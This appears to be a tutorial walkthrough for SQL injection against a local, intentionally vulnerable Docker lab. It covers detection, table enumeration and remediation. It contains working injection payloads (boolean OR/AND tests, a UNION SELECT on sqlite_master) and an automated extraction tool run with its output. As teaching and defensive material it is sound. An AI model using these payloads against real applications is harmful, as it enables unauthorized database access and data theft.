SQL injection remains one of the most impactful web vulnerabilities because it lets an attacker influence the queries an application sends to its database. In this walkthrough we work against a local lab and move deliberately from detection to controlled extraction.
Setting up the lab
Spin up the intentionally vulnerable application locally so all traffic stays on your machine.
$ docker run --rm -p 3000:3000 cybersecfix/sqli-lab:demo
[*] lab listening on http://localhost:3000
$ curl -s http://localhost:3000/rest/products?q=apple | head -c 80
[{"id":1,"name":"Apple Juice","price":1.99}]
Detecting the injection
Start with the cheapest possible signal: does a single quote change the response? A server error, a different result count, or a timing change all suggest the input reaches a query unsafely.
GET /rest/products?q=apple' HTTP/1.1
Host: localhost:3000
Accept: application/json
If the application returns a database error, that is error-based confirmation. A safer, quieter confirmation is a boolean test, comparing a always-true condition against an always-false one:
# Always true -> normal result set
q=apple' OR '1'='1
# Always false -> empty result set
q=apple' AND '1'='2Enumerating the database
Once injection is confirmed, enumerate structure before touching data. Keep payloads minimal and avoid destructive statements.
-- Discover table names (SQLite example)
' UNION SELECT name, sql FROM sqlite_master WHERE type='table' --
$ python3 extract.py --url "http://localhost:3000/rest/products?q=" \
--technique union --columns 2
[+] injection point confirmed (union, 2 columns)
[+] tables: products, users, feedback
[+] done in 3.2s
Stop at proof. For a report, demonstrating that you can read a table name or a single non-sensitive value is sufficient; exfiltrating real user data is neither necessary nor responsible.
Detection
Detection
Watch for query syntax errors and unusual result-set sizes in application and database logs. A
sudden spike of SQL syntax errors from one client, or requests containing UNION SELECT and
OR '1'='1, are strong signals.
level=error msg="SQLITE_ERROR: near \"'\": syntax error" route=/rest/products q="apple'"Remediation
Parameterization is the fix; input filtering and a web application firewall are defense in depth, not substitutes.